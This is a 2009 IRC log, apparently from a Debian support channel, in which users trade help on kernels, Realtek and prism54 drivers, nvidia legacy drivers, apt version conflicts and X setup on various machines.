| 11:48.56 | dutchfish | Esine, the kernel and the way you clone |
| 11:49.02 | alsd | george1: i've heard some people say ubuntu is vista with a new theme ;) (just kidding) |
| 11:49.05 | nsadmin | I still say it has to be the kernel |
| 11:49.10 | Esine | dutchfish: I will be installing directly to the harddrive raw |
| 11:49.47 | tawan | george1, install wicd |
| 11:49.49 | alsd | nsadmin: i guess it's rather the plethora of background stuff going around, making it difficult to use on older hardware |
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| 11:49.50 | Esine | but why would the kernel matter, dutchfish, if I'm using a prebuilt one? |
| 11:49.53 | mjt | by the way, i always used debootstrap to install debian |
| 11:50.05 | nsadmin | george1: out of curiousity... what happens if (as root) you type: ifconfig wlan0 |
| 11:50.13 | george1 | alsd: ubuntu was using 40% of my cpu just for xorg?!?!?! how can that be with a 1.6ghz cpu?!!? |
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| 11:50.21 | nsadmin | do you get an error message? |
| 11:50.24 | mjt | speaking of kernel, default kernel is generic enough, plus initrd includes almost everything already |
| 11:50.36 | Esine | yes, that's good to hear mjt |
| 11:50.41 | george1 | im not on debian atm. im running ubuntu live! |
| 11:50.42 | alsd | nsadmin: i tried ubuntu 8.04.1 LTS on my laptop (1GHz PIII, 256MB RAM), is quite unusable in the default desktop config |
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| 11:51.41 | alsd | nsadmin: just because of background stuff from gnome and ubuntu-specific fool-specific additions |
| 11:51.49 | dutchfish | Esine, the boot req. like grub, initrd rebuild depmod -a, udev statics and more |
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| 11:51.51 | alsd | if you see what i mean |
| 11:51.53 | Mikey^ | Hey |
| 11:52.06 | dutchfish | Esine, but that is all doable |
| 11:52.17 | ewoerner | hi |
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| 11:52.24 | nsadmin | let's get Mikey^ to try it... he hates everything! |
| 11:52.25 | Mikey^ | I just updated to testing from lenny, I installed lenny using the kde cd |
| 11:52.31 | MrWax | if i like to get the result of 'users' and then $user1 is logged in x times (depends how much this users name appears) after executing 'users' how can I best construct this in bash scripting, any ideas? |
| 11:52.39 | Esine | hum. but grub is installed to the hard drive itself. Is grub somehow machine dependent then? |
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| 11:52.54 | Mikey^ | How do I remove the entire kde desktop installed ? |
| 11:52.58 | Esine | oh well, those don't matter too much as I can use live cd and chroot my way in |
| 11:53.09 | Mikey^ | I am going to update to sid and install the gnome desktop |
| 11:53.12 | nsadmin | sure, it |
| 11:53.15 | tawan | apt-get remove kde-desktop |
| 11:53.19 | boonyo | anyone here installed debian to an sdhc card? i've followed the steps found here http://wiki.debian.org/DebianEeePC/HowTo/InstallOnSDcardOrUsbStick#Bootingexternalmedia but still getting load errors |
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| 11:53.20 | nsadmin | is compiled for a specific cpu |
| 11:53.38 | dutchfish | Esine, 1. if grub is installed in bootsector 2. maybe on the new machine the partitions are numbered different |
| 11:53.51 | ewoerner | is there a reason why sometimes debian wants to install a version of a package although the same version is already installed? |
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| 11:54.01 | Esine | possibly dutchfish.. |
| 11:54.24 | Esine | thanks for your help :) |
| 11:54.28 | dutchfish | Esine, why not install a base from scratch and clone packagelist and config files? |
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| 11:54.47 | ewoerner | apt-cache policy then looks like this |
| 11:54.54 | ewoerner | <PROTECTED> |
| 11:54.54 | ewoerner | <PROTECTED> |
| 11:54.54 | ewoerner | <PROTECTED> |
| 11:54.54 | ewoerner | <PROTECTED> |
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| 11:55.06 | kripz | is a file system in read only mode TRUELY read only mode? The system will not right anything at all? |
| 11:55.26 | george1 | im off to try your ideas; thanks for the help. i fear, however, that i may be back shortly! |
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| 11:55.49 | Esine | dutchfish: it's complicated.. See, I'm doing a loop-aes root install, but it appears I can't do the install on the physical machine itself too easily, because the latest 2.6.30 kernel has a faulty networking driver |
| 11:55.58 | Mikey^ | tawan: It says no package |
| 11:56.16 | dutchfish | Esine, then resolve that first |
| 11:56.17 | alsd | MrWax: perl would be more helpful in this respect than bash, i guess |
| 11:56.55 | dutchfish | Esine, or use a known good working kernel |
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| 11:57.16 | Esine | yes, I was looking if there is a debian package for 2.6.29 kernel with loop-aes modules |
| 11:57.18 | Mikey^ | Will apt-get remove kde4* work ? |
| 11:57.29 | Esine | I need 2.6.29 or higher for ext4 w/ no journaling support |
| 11:57.39 | dutchfish | Esine, nope, at least i havent seen one |
| 11:57.40 | Mikey^ | i did that and got a list of packages to remove.. but is it a proper way of doing it ? |
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| 11:57.57 | Esine | dutchfish: so there you go. loop-aes-modules exist prebuilt for 2.6.30 |
| 11:58.07 | dutchfish | Esine, but you have tried 2.6.30 form bpo? |
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| 11:58.26 | Esine | but 2.6.30 has a buggy networking driver meaning ethernet does not work on some Eee PCs |
| 11:58.27 | TrueDD | Hi all |
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| 11:58.49 | dutchfish | Esine, you have tested 2.6.30-3 vanilla? |
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| 11:59.08 | Esine | no, I have not, but since people have confirmed it is a bug in the kernel.. |
| 11:59.12 | Esine | upstream kernel |
| 11:59.13 | project2501a | hey guys, there is no groff_mdoc(7) man page |
| 11:59.26 | dutchfish | Esine, ok, what card? |
| 11:59.37 | mjt | Esine: note there were 3 bugfix releases already for 2.6.30 |
| 11:59.38 | Esine | atl1c module: http://groups.google.com/group/linux.debian.bugs.dist/browse_thread/thread/67f4fbe014d930c0 |
| 12:00.01 | Esine | that bug report was posted less than 24 hours ago |
| 12:00.08 | mjt | o |
| 12:00.11 | mjt | oh |
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| 12:00.59 | atlas1 | howto support utf-8 on debian 5 |
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| 12:01.48 | enouf | dutchfish: your skills are fine -- better than mine :-p |
| 12:02.15 | dutchfish | Esine, what is the exact nic we are talking about? |
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| 12:02.21 | alsd | ewoerner: usually that means there was some trouble during installation. 'dpkg -s <package>|grep "^Status:"' shows status. if it's not 'install ok installed' then there was some sort of trouble |
| 12:02.45 | ewoerner | alsd: no, installation went fine |
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| 12:02.53 | ewoerner | however, i recompiled that package |
| 12:03.26 | alsd | ewoerner: then apt or aptitude thinks the official debian archive has a newer one |
| 12:03.38 | dutchfish | Esine, i asking this because on my eepc i got away with a bios fix, just before asus droppped th elinux support |
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| 12:04.03 | dutchfish | Esine, no more asus for me in the future |
| 12:04.03 | ewoerner | alsd: how does it determine that? version number matches |
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| 12:04.32 | atlas1 | howto support utf-8 on debian 5 |
| 12:04.33 | alsd | ewoerner: 'apt-cache policy <package>' will tell you what's installed and if there's a newer one available |
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| 12:04.57 | alsd | ewoerner: at least in the way apt understands it |
| 12:05.17 | ewoerner | alsd: that's my point - look at the apt-cache policy output i pasted |
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| 12:06.58 | alsd | ewoerner: that one is odd for sure, both should be listed under *** line |
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| 12:08.38 | alsd | ewoerner: what does 'dpkg -s <package>|grep "^Status:"' say? |
| 12:09.33 | ewoerner | alsd: Status: install ok installed |
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| 12:10.23 | alsd | ewoerner: ok got it, as you recompiled without changing the version, that confuses apt, as both are same version but different packages, so it wants to update from official repo. you should bump debian package version in debian/changelog before building |
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| 12:10.56 | ewoerner | alsd: how does it detect that the packages are different? |
| 12:11.22 | alsd | ewoerner: i guess with the Releases file, all packages are md5sum'd |
| 12:11.49 | ewoerner | is there a quick way of bumping the package version |
| 12:12.08 | alsd | ewoerner: add a changelog entry in debian/changelog in your package source tree |
| 12:12.13 | ewoerner | changing things in changelog looks scary :-) |
| 12:14.53 | alsd | ewoerner: here i use devscripts-el to edit changelog under emacs, it has a menu command ready for you. that won't prevent you from RTFM anyway ;). see also dch command |
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| 12:15.21 | alsd | ewoerner: dch is from devscripts package |
| 12:15.36 | ewoerner | alsd: thank you |
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| 12:25.11 | cnu | any reason why debian lenny's netinstaller works, but squeeze's seems to freeze after some "INFO: kbd-mode setting console mode to unicode" thing? |
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| 12:27.32 | dutchfish | enouf, http://www.x.org/wiki/radeonhd%3Aexperimental_3D |
| 12:27.52 | OpenTokix | cnu: use lenny and dist-upgrade then? |
| 12:28.10 | dutchfish | enouf, got mesa flying, sortof |
| 12:28.15 | cnu | OpenTokix, okay, never used debian thing before :p |
| 12:30.09 | dutchfish | enouf, i am now back to master branch (rinse and repeat) |
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| 12:32.03 | OpenTokix | cnu: ok, install lenny basic |
| 12:32.19 | OpenTokix | cnu: then change in your /etc/apt/sources.list lenny -> squeeze and dist-upgrade |
| 12:32.35 | OpenTokix | cnu: but if you never used before, I think you should stay with stable (lenny) for a while |
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| 12:34.02 | dutchfish | !lenny->squeeze |
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| 12:34.28 | themill | dpkg, lenny->squeeze |
| 12:34.28 | dpkg | Remove any APT source specific to stable (such as volatile), then s/lenny/squeeze/ on your sources.list and then aptitude update && aptitude full-upgrade. But since there's only just been a stable release, expect squeeze to be a bumpy ride for a while. If you don't know what that means or why that would be, stick with lenny. Also ask me about <d-d-a>, <apt-listchanges>, <testing>. |
| 12:34.39 | themill | dutchfish: ! doesn't work with factoids with -> in the name. Don't ask why. |
| 12:34.54 | dutchfish | themill, ah ok, thx for info |
| 12:35.05 | tawan | i did it but replaced lenny with testing not squeeze... |
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| 12:36.37 | nsadmin | currently, testing is squeeze... so if that's what you really want, you're ok for now... |
| 12:37.21 | nsadmin | what will surprise you maybe is when testing becomes something else, and then you will have a major upgrade on your hands without expecting it |
| 12:37.30 | enouf | dutchfish: excellent ;-) |
| 12:37.42 | aliceinwire_ | error: cannot find binary, udeb or source package abr2gbr_3.0.8_i386.changes in dist or lab (skipping) |
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| 12:38.48 | dutchfish | enouf, at leats i resolved the compiler options for the r6xx-r7xx-support branch and 2.6.30, but the exp. 3d is a wild animal atm |
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| 12:39.16 | dutchfish | enouf, but i give it shot |
| 12:39.22 | enouf | dutchfish: understood ...i don't have/use newer video cards .. so ;-) |
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| 12:40.47 | enouf | dutchfish: yeah, whenever you want to show someone a <something1->something2> type factoid use; "!tell so-and-so about etch->lenny" (for example) |
| 12:41.05 | dutchfish | enouf, ah thx :) |
| 12:41.24 | nsadmin | aliceinwire_: some error that is... hmm, what commandline produced that? |
| 12:41.50 | aliceinwire_ | lintian abr2gbr_3.0.8_i386.changes |
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| 12:43.43 | nsadmin | aliceinwire_ try feeding lintian the .deb |
| 12:43.56 | Sindikat1 | what program views DjVu format? |
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| 12:45.27 | sepult | djview4 |
| 12:45.41 | sepult | djvulibre-bin |
| 12:45.58 | Sindikat1 | what about chm |
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| 12:46.16 | sepult | kchmviewer ? |
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| 12:49.26 | dutchfish | Sindikat1, you also might want to take a peak in archmage |
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| 12:49.49 | poisonbit | can i list installed packages from backports.org, in a lenny system ? |
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| 12:51.44 | dutchfish | poisonbit, tried something like: COLUMNS=200 dpkg -l|grep bpo |
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| 12:53.15 | dutchfish | poisonbit, it list abit more but maybe thats enough |
| 12:53.18 | poisonbit | thanks dutchfish |
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| 12:54.52 | Hans_Henrik | i installed debian and my keyboard; its like "if i write to fast {and that aint fast!}, it will skip some of the buttons i press" - any idea how to fix? |
| 12:55.03 | strog_ | hi people i want to install the driver of my minipci wlan card on my machine |
| 12:55.13 | strog_ | i have found the link |
| 12:55.27 | strog_ | downloaded it but i need to install the module |
| 12:55.33 | strog_ | can someone help me with it? |
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| 12:55.48 | valdyn | strog_: how do you know that that card is not supported by your kernel anyway? |
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| 12:56.22 | strog_ | cause at the boot i got the message that it couldnt find the firmware |
| 12:56.32 | strog_ | valdyn: wait let me type the message |
| 12:56.39 | valdyn | strog_: so you only need to install the firmware and you already have a driver |
| 12:57.40 | strog_ | valdyn: cant really say, cause im working only at the consol i dont have a gui |
| 12:57.57 | valdyn | strog_: i can though, the message isnt ambigous |
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| 12:58.31 | strog_ | valdyn: it just says that it cannot find the "firmware" |
| 12:58.43 | valdyn | strog_: i know, you already said that |
| 12:58.53 | valdyn | strog_: now which card is that? |
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| 12:59.39 | strog_ | valdyn: prism54pci, demesg says: also prism54pci (isl3886) |
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| 13:00.45 | valdyn | strog_: aptitude install linux-wlan-ng-firmware |
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| 13:00.52 | strog_ | valdyn: so i went to http://daemonizer.de/prism54/prism54-fw/ and downloaded the firmware |
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| 13:01.23 | strog_ | valdyn: i installed that already |
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| 13:01.51 | dutchfish | !prism54 |
| 13:01.52 | dpkg | The p54 drivers provide support for several Intersil ISL38xx chipsets (PCI and USB), included in the mainline kernel since 2.6.24. Firmware is required, see http://wiki.debian.org/prism54 for installation instructions. 802.11a (5 GHz) devices are supported from kernel 2.6.28. #prism54 on irc.freenode.net. |
| 13:03.12 | lelu | what is the opposite of rmmod? |
| 13:03.17 | lelu | how to i reverse it? |
| 13:03.23 | tawan | dommr |
| 13:03.24 | valdyn | lelu: you must not use rmmod |
| 13:03.28 | valdyn | lelu: modprobe |
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| 13:03.48 | dutchfish | lelu, modprobe ? |
| 13:03.49 | tawan | kicks himself for being very unhelpful |
| 13:03.55 | lelu | valdyn im just following what this tells me http://paste.debian.net/42675/ |
| 13:04.02 | cnu | OpenTokix, thank you :> |
| 13:04.04 | lelu | but it still is not compiling |
| 13:04.10 | lelu | so i dont have a new driver to replace the one i removed |
| 13:04.18 | lelu | so now the nic isnt working while the wireless is |
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| 13:04.36 | lelu | but the nic is used for the internal proxy so now no one has port 80 access until i reinstate it |
| 13:04.55 | lelu | whats the point in having indepth instructions when they dont work |
| 13:05.26 | valdyn | lelu: its not exactly new that theres alot of bad and wrong documentation for about anything |
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| 13:06.21 | lelu | valdyn: well the problem is no body else has had a problem with compiling this damn thing. google has been of no help and its confused several c programmers whom ive asked |
| 13:06.47 | valdyn | lelu: this is a support channel |
| 13:06.52 | valdyn | !tell lelu -about ask |
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| 13:07.02 | valdyn | lelu: we need precise commands and error messages |
| 13:07.14 | Hans_Henrik | http://wiki.debian.org/NvidiaGraphicsDrivers?action=AttachFile&do=view&target=nvidia-versions.sh it ends on "Uh oh. Your card is not supported by any driver version." :( |
| 13:07.16 | Hans_Henrik | should i try nvidia's commercial driver? |
| 13:07.35 | valdyn | Hans_Henrik: havent you been here before with your vanta chip issues? |
| 13:07.43 | Hans_Henrik | nope |
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| 13:07.50 | valdyn | Hans_Henrik: feel free to read the hcl on nvidia.com. I dont think vanta is listed, but it might be |
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| 13:07.59 | Hans_Henrik | that was on debian's official irc server :p |
| 13:08.03 | peppe | hans_Henrik: which card is that? |
| 13:08.06 | Fantomi | anyone that will help to make work my vserver |
| 13:08.12 | valdyn | peppe: Vanta chipset |
| 13:08.13 | lelu | valdyn: ok, if i have done rmmod 8169 will insmod 8169 reverse the action? |
| 13:08.22 | valdyn | lelu: use modprobe |
| 13:08.34 | Hans_Henrik | peppe: 01:00.0 VGA compatible controller: nVidia Corporation NV6 [Vanta/Vanta LT] (rev 15) |
| 13:08.43 | lelu | valdyn: how? |
| 13:08.52 | valdyn | lelu: modprobe 8169 |
| 13:08.59 | lelu | thankyou |
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| 13:09.11 | Hans_Henrik | valdyn: what is "hcl" btw? |
| 13:09.20 | valdyn | Hans_Henrik: hardware compatibility list |
| 13:09.26 | Hans_Henrik | oh |
| 13:09.51 | valdyn | Hans_Henrik: i also pointed you to |
| 13:09.56 | valdyn | !which driver |
| 13:09.56 | dpkg | To work out what module you need to load for your PCI card, try pasting the output from "lspci -n" into http://kmuto.jp/debian/hcl/ . To determine the driver currently associated with an existing network interface: grep PHYSDEVDRIVER /sys/class/net/*/uevent |
| 13:10.00 | valdyn | Hans_Henrik: that one^^ |
| 13:10.08 | Hans_Henrik | yeah i went there |
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| 13:10.25 | peppe | hans_Henrik: valdyn: Vanta are TNT/TNT2 , which should be supported by the legacy driver (71.86) |
| 13:10.49 | valdyn | hmm, that legacy driver is in debian anyway |
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| 13:11.15 | lelu | valdyn: may i pv chat? |
| 13:11.41 | valdyn | lelu: please no, im not by not the most clueful here |
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| 13:12.26 | Hans_Henrik | valdyn: that website says: 10de002c : Yes : Nvidia Corp. : NV6 [Vanta/Vanta LT] : nv : (blank) |
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| 13:12.46 | valdyn | Hans_Henrik: so Xorg supports your chip out of the box |
| 13:13.01 | valdyn | Hans_Henrik: since the nv driver is included by default. |
| 13:13.07 | Hans_Henrik | valdyn: no, the grapic is slow as **** |
| 13:13.11 | lelu | ok well, PsiKlopse last night gave me a great deal of help with this but it still wont compile. My problem is this. I have the Realtek RTL8101E/RTL8102E ethernet controller chip on my intel mini-itx board. |
| 13:13.23 | valdyn | Hans_Henrik: nvidia-glx-legacy might be faster |
| 13:13.32 | valdyn | Hans_Henrik: instructions on how to install that is in the faq |
| 13:13.54 | lelu | The drivers that come with the 2.6-26-2-686 kernel are broken and give a huge amount of dropped packets (into the trillions every hour) |
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| 13:14.02 | Keiya | Hey, I FINALLY got Debian installed on my G3 iMac (the installer broke repeatedly because the RTC was off, I finally had to dig around in openfirmware and set it there >_<), and now I just get a black screen when X starts. |
| 13:14.02 | lelu | I need to replace that driver with a new fixed one |
| 13:14.08 | valdyn | Hans_Henrik: precisely nvidia-glx-legacy-71xx I think, not the newer one |
| 13:14.12 | lelu | however I cant compile it |
| 13:14.26 | stew | lelu: which driver? what makes you think it is the driver that is the problem? |
| 13:14.39 | valdyn | lelu: we already know you cant compile it, that is why i asked for precise commands and error messages |
| 13:14.43 | lelu | stew: because I spent eight hours last night googling it |
| 13:14.47 | Keiya | I go to check xorg.conf (I know that several distros need 'help' getting working on the old imacs) and it's empty. A little research shows that normal now, but how can I fix what isn't there? |
| 13:14.50 | lelu | valdyn: im currently pasting them into paste bin |
| 13:15.04 | Keiya | Or am I going about this wrong? |
| 13:15.15 | valdyn | Keiya: you can create one from scratch or get one running "Xorg -configure" |
| 13:15.37 | lelu | valdyn: http://paste.debian.net/42692/ |
| 13:16.02 | valdyn | *** No rule to make target `modules'. |
| 13:16.08 | valdyn | lelu: run just "make" probably |
| 13:16.11 | lelu | stew: http://www.dickson.me.uk/2009/05/15/realtek-rtl8101e-nic-dropped-frames-on-hardy-heron/ |
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| 13:16.18 | Keiya | valdyn: Trying to do that doesn't work because X is (technically) running, just broken to the point of unusability... |
| 13:16.31 | valdyn | Keiya: so quit X first |
| 13:16.38 | lelu | valdyn: make gives the same error |
| 13:17.18 | valdyn | lelu: apt-get install linux-headers-$(uname -r) |
| 13:17.31 | lelu | valdyn: already installed |
| 13:17.33 | stew | Keiya: why would that work? just because X is running? it should work? if that is really a problem, why not stop X? |
| 13:17.36 | Keiya | Ah, wait, yeah. Sorry, I'm a little bit fuzzy-headed at the moment and sometimes the obvious isn't >_< |
| 13:18.30 | stew | Keiya: there is a good chance that the only problem is that it is currently black becuase it is running at a resolution not supported by your monitor, which you could probably fix by using xrandr to select a new resolution |
| 13:18.48 | stew | Keiya: (by running xrandr from a vt after 'export DISPLAY=:0') |
| 13:20.38 | valdyn | lelu: are you running this compilation as root? |
| 13:20.48 | lelu | valdyn: logged in as root atm |
| 13:21.53 | dutchfish | mumbles why not use m-a? |
| 13:21.58 | Hans_Henrik | how do i set a new var, call it for "VERSION" and make it contain "-legacy-71xx" in console? :p |
| 13:22.12 | valdyn | dutchfish: that driver is packaged? |
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| 13:22.51 | dutchfish | valdyn, i believe, nut sure |
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| 13:23.22 | lelu | valdyn: as far as i can tell the makefile is broken, but im the only one having problems... |
| 13:23.22 | valdyn | that driver is broken for 2.6.30 anyway |
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| 13:23.54 | valdyn | lelu: "chmod a+x src" |
| 13:24.41 | Hans_Henrik | valdyn: quote "that driver is broken for 2.6.30 anyway" was that to me? |
| 13:24.48 | valdyn | Hans_Henrik: no |
| 13:24.59 | Hans_Henrik | k |
| 13:25.23 | lelu | valdyn: the driver that comes with 2.6 is broken. i had been told that this one im trying to compile fixed the dropped packets problem... |
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| 13:25.40 | valdyn | lelu: yea yea |
| 13:25.51 | valdyn | lelu: that thing is still broken *for* 2.6.30 |
| 13:26.02 | valdyn | lelu: you are trying to compile for 2.6.26 though |
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| 13:27.45 | valdyn | and realtek in the idiocy dont mention which kernel versions are actually supported |
| 13:28.40 | valdyn | lelu: it would probably be a good idea to get the latest kernel and try that before messing with realteks driver |
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| 13:29.08 | enouf | Hans_Henrik: i _think_ the legacy-71xx driver sources are only in Sid - so - follow the debian way info from the wiki /msg pkg nvidia |
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| 13:29.54 | Keiya | Yay, got it working! |
| 13:29.58 | enouf | Hans_Henrik: but i gaurantee you that nvidia drivers will in no way be faster for 2D - so you should use 'nv' anyway |
| 13:30.10 | enouf | s/guarantee* |
| 13:30.40 | Keiya | Someone mentioned that they had the same issue on Ubuntu and Debian, and the same fix worked. That let me find https://wiki.ubuntu.com/PowerPCKnownIssues#Blank%20screen%20on%20iMac%20G3 which, combined with generating an xorg.conf, got it working for me. |
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| 13:30.59 | valdyn | i think he might be using vesa right now.. |
| 13:31.15 | enouf | grep drv /var/log/Xorg.0.log |
| 13:31.26 | Hans_Henrik | enouf: im trying to follow the wiki tutorial, and it tells me to set a "VERSION" variable, only problem is i got no idea how |
| 13:31.39 | enouf | you don't need to |
| 13:31.44 | enouf | read further |
| 13:31.48 | Keiya | (Incidentally, they also have information that would have helped with my issues getting the thing to install in the first place. Whoever thought using the date and time in the installer without letting you change them first was a good idea needs to get their head checked) |
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| 13:32.35 | Hans_Henrik | enouf: you mean that script will set it for me? |
| 13:32.51 | enouf | 2D will be no faster |
| 13:33.51 | enouf | i can't help you with even the debian way for nvidia (though i did try the -legacy-71xx- once a while ago), i forget all the specifics |
| 13:33.54 | valdyn | lelu: i have a compiled driver now |
| 13:34.15 | MrWax | When writing bash scripts that do multiple things, is it always better to write all specific actions in functions ? |
| 13:34.37 | enouf | that's how i know about 2D not being any better ... then i --purged that crud |
| 13:35.27 | enouf | not necessarily - ask #bash |
| 13:36.09 | valdyn | lelu: its fucked up broken scripts but at some point the build |
| 13:36.34 | lelu | valdyn: ooh? |
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| 13:36.55 | newhope | hey, which package contain this document http://linux.die.net/man/3/uint32_t , :) |
| 13:36.58 | valdyn | lelu: go into the directory r8101-1.012.00 |
| 13:37.06 | lelu | valdyn: ok |
| 13:37.09 | valdyn | lelu: then type "chmod a+x src" |
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| 13:37.17 | valdyn | lelu: then type "make" |
| 13:37.54 | valdyn | lelu: all of that *not* as root |
| 13:39.00 | enouf | newhope: likely manpages-dev |
| 13:39.08 | enouf | !tell newhope -about search |
| 13:39.13 | Keiya | "<username> ALL = ALL" is the correct format for a line to let a user use sudo effectively the same as root, right? (much much more comfortable, for me, to log in as a second-tier account that is normally not allpowerful but can be than to log in as root directly >_<) |
| 13:40.09 | valdyn | <username> ALL=(ALL) ALL |
| 13:40.46 | lelu | valdyn: not as root? |
| 13:40.56 | valdyn | lelu: what i said |
| 13:41.10 | enouf | or .. is that deprecated ... hehe, i love when web addicts post shit without DATEs and shit |
| 13:41.12 | lelu | ok i shall have a go |
| 13:41.59 | valdyn | lelu: http://paste.debian.net/42693/, mind the errors, its STILL a successful build |
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| 13:42.56 | Keiya | Actually, it looks like I can just stick myself on the same line. Yay :J |
| 13:43.39 | Keiya | can read manpages, but is slow and usually doublechecks with someone more familiar... :J |
| 13:44.42 | enouf | 5.50.3 ARM NEON Intrinsics These built-in intrinsics for the ARM Advanced SIMD extension are available when the -mfpu=neon switch is used: |
| 13:44.57 | lelu | valdyn: for some reason i am still getting modules errors's ending in an unsucessful compile... i have to head out now shall give it another crack later. |
| 13:45.42 | lelu | valdyn: thanks for the help :) |
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| 13:45.45 | valdyn | lelu: https://valdyn.org/~valdyn/r8101.ko |
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| 13:46.23 | thesaint4444 | hi guys, is there any problem with using apt-get and aptitude interchangeably or should I just stick with one or the other? thanks. |
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| 13:47.25 | dvs | thesaint4444: apt and aptitude have two different "databases" of installed packages. You should stick to one or the other. |
| 13:47.36 | thesaint4444 | dvs, thanks... |
| 13:47.42 | dvs | np |
| 13:47.44 | dondelelcaro | dvs: they actually communicate now, so it shouldn't matter much |
| 13:47.49 | rudi_s | !tell thesaint4444 about why aptitude |
| 13:47.51 | dvs | really? |
| 13:48.21 | thesaint4444 | rudi_s, cheers.... |
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| 13:51.29 | lelu | valdyn: thankyou very much. |
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| 13:53.04 | pingouin_ | why would a debian lenny amd64 show only 3888 when free -m (or cat /proc/meminfo) thus i have 4 dimm of 1G ? a debian 32 bits Etch shows 4053 |
| 13:53.12 | runa_ | how can i install compiz with lxde? i tried compiz --replace but it does not work |
| 13:53.23 | dvs | pingouin_: are you running the amd64 kernel? |
| 13:53.49 | dvs | oh sorry |
| 13:53.54 | dokma | I've got an sshfs mount command that I want to be executed when I login. To which configuration file should I add the mount line so that it is executed only once when I login? |
| 13:53.55 | pingouin_ | dvs: i run the stock kernel after this installation/apt-get update/upgrade |
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| 13:54.17 | rozie | pingouin_: show us uname -a |
| 13:54.49 | dvs | highmem is automatically selected on stock kernels right? |
| 13:54.53 | pingouin_ | rozie: pointless now, i've rebooted under the Debian 32 Etch |
| 13:55.24 | pingouin_ | dvs: is there a "highmen" option in 64 bits ? |
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| 13:55.38 | rozie | pingouin_: let us know when you're on 64bit system |
| 13:56.00 | pingouin_ | there is no kernel-image bigmem for amd64 in apt-cache search |
| 13:56.04 | pingouin_ | rozie: yes i'll do |
| 13:56.47 | dvs | pingouin_: That's right because it's selected by default in the config file |
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| 13:57.45 | lvh | you shouldn't need to do that though |
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| 13:59.46 | yuastnav | Hmm, does either of you know how I can delete an imap folder in Balsa without starting it? Whenever I start balsa it freezes... |
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| 14:02.52 | enouf | pingouin_: no use of BIOS memory remapped I/O hole -- for many it's a chipset limitation |
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| 14:03.26 | enouf | pingouin_: it's called linux-image, and /msg dpkg bigmem |
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| 14:03.46 | enouf | you want a PAE enabled kernel though? tsktsk :-p |
| 14:03.48 | pingouin_ | enouf: good question about bios, how can i check that ? |
| 14:03.49 | Schuenemann | hi. I can't navigate with firefox, it says can't find address. It was ok until yesterday |
| 14:03.55 | Schuenemann | opera and epiphany are working |
| 14:04.00 | enouf | pingouin_: go into BIOS Setup |
| 14:04.01 | Eddie | has just installed Debian on the most dejectedly useless notebook PC ever. Old, with dead pixels, windows wouldnt even look at it, awesome |
| 14:04.11 | pingouin_ | enouf: please, can you ask dpkg to tell me about bigmem - dpkg never awser me |
| 14:04.44 | iluminator101 | I am looking for this image linux-image-2.6.30-2-686 on debian repo is it available, b/z I havent been able to find it? |
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| 14:05.40 | enouf | pingouin_: read this http://marc.info/?l=freebsd-amd64&m=111222380900987&w=2 |
| 14:05.53 | enouf | !tell pingouin_ -about bigmem |
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| 14:06.11 | pingouin_ | thank enouf |
| 14:07.18 | enouf | pingouin_: welcome - did you get the [dpkg] PM too? |
| 14:07.25 | Schuenemann | ... |
| 14:07.34 | pingouin_ | enouf: i have no problem with 32 bits debian Etch ( free -m shows me 4053) only when i switch to debian lenny amd64 |
| 14:07.38 | pingouin_ | enouf: yes thanks |
| 14:07.47 | pingouin_ | i go to read the url you just gave |
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| 14:08.18 | enouf | pingouin_: yes, however, using PAE will cause a performance penalty - depends on what software you use and for what and kernel options, etc |
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| 14:09.08 | lord_rob | Hi ! I've bought a Microsoft Notebook Optical Mouse 3000 (Wired version) it works but I can't manage to make central button to work (i.e. the button you have when you press on the wheel). Any idea why ? |
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| 14:11.41 | enouf | iluminator101: are you on Lenny? |
| 14:12.26 | enouf | iluminator101: it's a bpo kernel for lenny - well not sure of the -2- part of versioning, but there's a .30 there, IINM |
| 14:13.08 | iluminator101 | enouf:i am on squeeze, i have unstable on pinning |
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| 14:14.09 | Schuenemann | does anyone have any idea why opera works but firefox does not? |
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| 14:15.40 | iluminator101 | Well does debian make its own number scheme for kernel versions b/z i am running this 2.6.30-1-686 |
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| 14:16.06 | zxd | hello |
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| 14:16.31 | zxd | how do i bring up a vlan interface without any assigned ip address using debian scripts |
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| 14:20.03 | enouf | iluminator101: install it then |
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| 14:21.36 | enouf | <PROTECTED> |
| 14:24.16 | enouf | Schuenemann: maybe some proxy setting in firefox config/prefs |
| 14:24.43 | enouf | Schuenemann: mv your ~/.mozilla out of your ~ then refire up FF/IW |
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| 14:25.16 | Schuenemann | enouf, I've just deleted ~/.mozilla/firefox |
| 14:25.20 | Schuenemann | it is really firefox (I downloaded the zip) |
| 14:25.37 | enouf | Schuenemann: or, if compiled - look to mv the file from /usr/local/ out of the way |
| 14:25.51 | enouf | unless you did it in your ~ |
| 14:26.08 | enouf | use Debian's iceweasel ;-) |
| 14:26.08 | Schuenemann | I didn't compile |
| 14:26.24 | Schuenemann | iceweasel's version is too old |
| 14:26.30 | Schuenemann | 3.5 is using a lot less memory |
| 14:26.33 | enouf | have a nice day ;-) |
| 14:26.43 | enouf | !sns |
| 14:26.43 | dpkg | it has been said that sns syndrome is a serious disorder otherwise known as Shiny New Shite Syndrome usually breaks out into an epidemic every time something new is released. Slashdot readers are more likely than others to contract the condition. |
| 14:26.54 | Schuenemann | thanks for not helping |
| 14:27.06 | iluminator101 | well thats what i am using linux-image-2.6.30-1-686 (2.6.30-3) |
| 14:27.12 | enouf | thanks for being non-helpful |
| 14:27.29 | enouf | iluminator101: what's the problem then? |
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| 14:28.57 | iluminator101 | just one problem k3b takes too long start up initially, but after i start it for the first time....its not slow up from then onwards |
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| 14:31.41 | wildc4rd | afternoon all |
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| 14:32.04 | enouf | iluminator101: .31 is already being worked on in trunk |
| 14:32.21 | bfremon | hi all |
| 14:32.25 | enouf | iluminator101: plus debconf2009 is going on these weeks |
| 14:32.47 | enouf | iluminator101: file a bug to k3b then |
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| 14:33.58 | enouf | iluminator101: want to try the experimental .31? |
| 14:34.02 | enouf | http://kernel-archive.buildserver.net/debian-kernel/pool/main/l/linux-2.6/linux-image-2.6.31-rc1-686_2.6.31~rc1-1~experimental.1~snapshot.13865_i386.deb |
| 14:35.11 | bfremon | After upgrading my laptop (macbook with intel 945, unstable), I'm experimenting huge lags of X (one core at 100% when displaying website full of pictures). Is this a known problem ? |
| 14:35.13 | enouf | iluminator101: whoops |
| 14:35.25 | enouf | iluminator101: make the .deb name linux-image-2.6.31-rc4-686_2.6.31~rc4-1~experimental.1~snapshot.14009_i386.deb |
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| 14:35.40 | enouf | we're up to rc4 already |
| 14:36.38 | enouf | bfremon: likely the DRM2 issue ... afaik |
| 14:37.34 | enouf | bfremon: you meant s/experimenting/experiencing/ yes? |
| 14:37.49 | bfremon | I'm currently experiencing this bug |
